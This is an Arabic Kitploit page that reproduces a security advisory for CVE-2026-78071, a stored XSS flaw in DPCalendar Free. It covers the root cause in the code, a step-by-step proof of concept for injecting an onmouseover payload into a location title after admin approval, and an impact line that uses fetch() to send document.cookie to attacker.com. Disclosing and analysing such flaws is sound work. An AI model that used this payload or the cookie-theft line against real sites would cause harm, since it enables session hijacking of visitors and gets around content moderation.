Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-78071 — Stored XSS عبر عنوان الموقع في DPCalendar Free | Kitploit
أدوات/GitHubGitHub/toanln-cov/cve-2026-78071
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويب
GitHubtoanln-cov/cve-2026-78071

CVE-2026-78071

Stored XSS عبر عنوان الموقع في DPCalendar Free

عرض المستودع
8منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة XSS مخزنة عبر عنوان الموقع في DPCalendar Free

DPCalendar Free ≤ 10.11.2 — مستخدم بدور المؤلف يتجاوز مراجعة المحتوى لحقن XSS دائم عبر عنوان الموقع، ويتم تشغيلها عند مرور المؤشر من قبل أي زائر

CVE CVSS CWE-79 Affected Researcher


الملخص

يتم عرض حقل $location->title بدون استخدام htmlspecialchars() في ملف default_locations.php. تعمل دالة InputFilter::clean() في Joomla على مستوى الخادم على إزالة الرمزين و من حقول النصوص ولكنها تسمح بمرور الرمز ، مما يسمح لمستخدم بدور المؤلف بتجاوز سياق سمة HTML. عندما يمرر أي زائر مؤشر الفأرة فوق قسم معلومات الموقع في صفحة الحدث، يتم تنفيذ معالج المحقون لتنفيذ JavaScript تعسفي في جلسة المتصفح الخاصة به.

<
>
"
onmouseover

عيب تصميمي ثانٍ يضخّم الأثر: تتحقق EventController::allowEdit() فقط من created_by == current_user — ولا تتحقق من حالة نشر الحدث. يمكن للمؤلف إنشاء حدث غير ضار، ثم يقوم مسؤول بنشره، ثم يقوم المؤلف بتسليح الموقع المرتبط بصمت عن طريق تعديل عنوانه بعد النشر، متجاوزًا مراجعة المحتوى بالكامل. يتم إدراج حمولة XSS بعد الإشراف؛ ولا يراها المسؤولون أبدًا أثناء دورة المراجعة الخاصة بهم.


الإصدارات المتأثرة

المكوّنالإصدارات المعرضةتم الاختبار علىالإصدار المُصلَح
DPCalendar Free≤ 10.11.2Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache)10.12.0

تفاصيل الثغرة

النوع: Cross-Site Scripting مخزنة / ترميز مخرجات غير صحيح (CWE-79) المصادقة المطلوبة: دور المؤلف — مستخدم الواجهة الأمامية (مجموعة Joomla 4، الحد الأدنى لإنشاء الأحداث) الملف: site/tmpl/event/default_locations.php

السبب الجذري

يتم عرض $location->title مباشرة — بدون استخدام htmlspecialchars() — في سياقين للإخراج في ملف default_locations.php. سياق السمة هو النقطة القابلة للاستغلال عبر واجهة الويب، حيث تمنع InputFilter في Joomla الرمزين <> ولكنها تسمح بمرور " دون تغيير.

DEFAULT_LOCATIONS.PHP — نقاط إخراج معرضة للخطر

root@kitploit:~
// Sink 1 — محتوى نصي (حقن HTML؛ يتم إزالة <> بواسطة InputFilter عبر واجهة الويب)
<span class="dp-location__title"><?php echo $location->title; ?></span>

// Sink 2 — سمة HTML (حقن في السمة؛ يمر " عبر InputFilter)
<div class="dp-location__details"
     data-title="<?php echo $location->title; ?>"

يتم تخزين قيمة العنوان New Location" onmouseover="alert(document.domain) بشكل سليم بواسطة الخادم. عند الإخراج، يتم عرض Sink 2 على النحو التالي:

root@kitploit:~
<div class="dp-location__details"
     data-title="New Location" onmouseover="alert(document.domain)"

تصبح سمة onmouseover معالج أحداث نشطًا في DOM المعروض.

عدم التحقق من حالة النشر

تمنح EventController::allowEdit() صلاحية التحرير لأي مؤلف لأحداثه الخاصة بغض النظر عن حالة النشر. يبني المهاجم الثقة عن طريق إرسال حدث عادي لمراجعة المسؤول، ثم — بعد النشر بواسطة المسؤول — يقوم بتعديل الموقع المرتبط بصمت لحقن حمولة XSS:

SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() تفتقد التحقق من الحالة

root@kitploit:~
protected function allowEdit($data = [], $key = 'id')
{
    // ...
    return $calendar instanceof CalendarInterface &&
           ($calendar->canEdit() ||
            ($calendar->canEditOwn() &&
             $event->created_by == $this->getCurrentUser()->id));
    // ↑ لا يوجد تحقق من $event->state — الأحداث المنشورة تبقى قابلة للتحرير من قبل المؤلف
}

إثبات المفهوم

1. تسجيل الدخول كمستخدم بدور المؤلف

انتقل إلى نموذج تسجيل الدخول في الواجهة الأمامية وسجّل الدخول بحساب مؤلف (مجموعة Joomla 4 — الحد الأدنى المطلوب لإنشاء الأحداث والمواقع).

الخطوة 1 — تسجيل الدخول كمؤلف

2. إنشاء حدث عادي مع موقع شرعي

انتقل إلى /index.php?option=com_dpcalendar&view=form. أنشئ حدثًا بعنوان نظيف وأرفق أي موقع موجود (مثل "Greater London"). هذا يثبت شرعية المؤلف قبل إدخال الحمولة.

الخطوة 2 — نموذج إنشاء حدث غير ضار

الخطوة 3 — إرفاق موقع شرعي قبل الحفظ

3. انتظار قيام مسؤول بنشر الحدث

يتم إرسال الحدث للمراجعة. يقوم مسؤول بتسجيل الدخول ونشره من لوحة تحكم DPCalendar الخلفية. يصبح الحدث الآن منشورًا ومرئيًا لجميع زوار الموقع.

الخطوة 4 — المسؤول ينشر الحدث

4. العودة إلى الحدث المنشور وفتح الموقع للتحرير

كمؤلف، انتقل إلى صفحة الحدث المنشور. يبقى زر تحرير الحدث مرئيًا — لا تتحقق allowEdit() من حالة النشر. انقر على تحرير الحدث، وانتقل إلى علامة التبويب الموقع، وانقر على أيقونة القلم لفتح locationform.

الخطوة 5 — أيقونة التحرير لا تزال متاحة بعد نشر المسؤول

5. حقن حمولة XSS في حقل عنوان الموقع

استبدل اسم الموقع بالحمولة. تسمح InputFilter في Joomla بمرور " — يتم حفظ الحمولة بشكل سليم وتكسر سياق سمة HTML عند الإخراج:

الحمولة — حقل العنوان (LOCATIONFORM)

root@kitploit:~
New Location" onmouseover="alert(document.domain)

الخطوة 6 — حقن حمولة XSS في حقل عنوان الموقع

انقر على حفظ.

6. أي زائر لصفحة الحدث يشغّل XSS عند مرور المؤشر

عندما يزور أي مستخدم — سواء كان مصادقًا أو مجهولًا — صفحة تفاصيل الحدث ويحرّك مؤشر الفأرة فوق قسم معلومات الموقع، يتم تشغيل معالج onmouseover المحقون فورًا. لا حاجة لمصادقة أو نقرة أو أي تفاعل إضافي بخلاف زيارة الصفحة.

الخطوة 7 — تشغيل XSS عند مرور المؤشر

تظهر الحمولة الخام في قسم الموقع في صفحة الحدث — يتم عرض العنوان غير المُهرَّب كسمة HTML نشطة:

الخطوة 8 — صفحة الحدث تعرض الحمولة غير المُهرَّبة في DOM

مرور المؤشر فوق قسم الموقع يشغّل نافذة التنبيه في متصفح الزائر المجهول:

الخطوة 9 — نافذة تنبيه XSS تم تشغيلها لزائر مجهول


الأثر

  1. اختطاف الجلسة — يمكن للمعالج المحقون استخراج ملف تعريف ارتباط الجلسة الخاص بالضحية عبر fetch('//attacker.com/?c='+document.cookie)، مما يمنح سيطرة كاملة على الحساب لأي دور يعرض الحدث.

  2. سطح هجوم دائم ومرتبط بالحدث — تبقى الحمولة نشطة حتى يتم تصحيح عنوان الموقع يدويًا. كل مستخدم يزور صفحة الحدث — بما في ذلك الزوار المجهولين — يكون معرضًا للخطر. الأحداث عالية الزيارات (المؤتمرات العامة، صفحات الحجز) تضاعف عدد الضحايا.

  3. تجاوز الثقة بعد النشر — نظرًا لأن المؤلف يمكنه تعديل الموقع بصمت بعد موافقة المسؤول، لا تظهر الحمولة أبدًا أثناء مراجعة المحتوى. يمر الحدث غير الضار عبر الإشراف؛ ويتم إدراج XSS بعد ذلك.


المراجع

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-78071
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78071
  • GitHub Advisory: https://github.com/advisories/GHSA-32gf-548r-6r9c
  • مستودع المورّد: https://github.com/Digital-Peak/DPCalendar-Free
تنزيل الأداة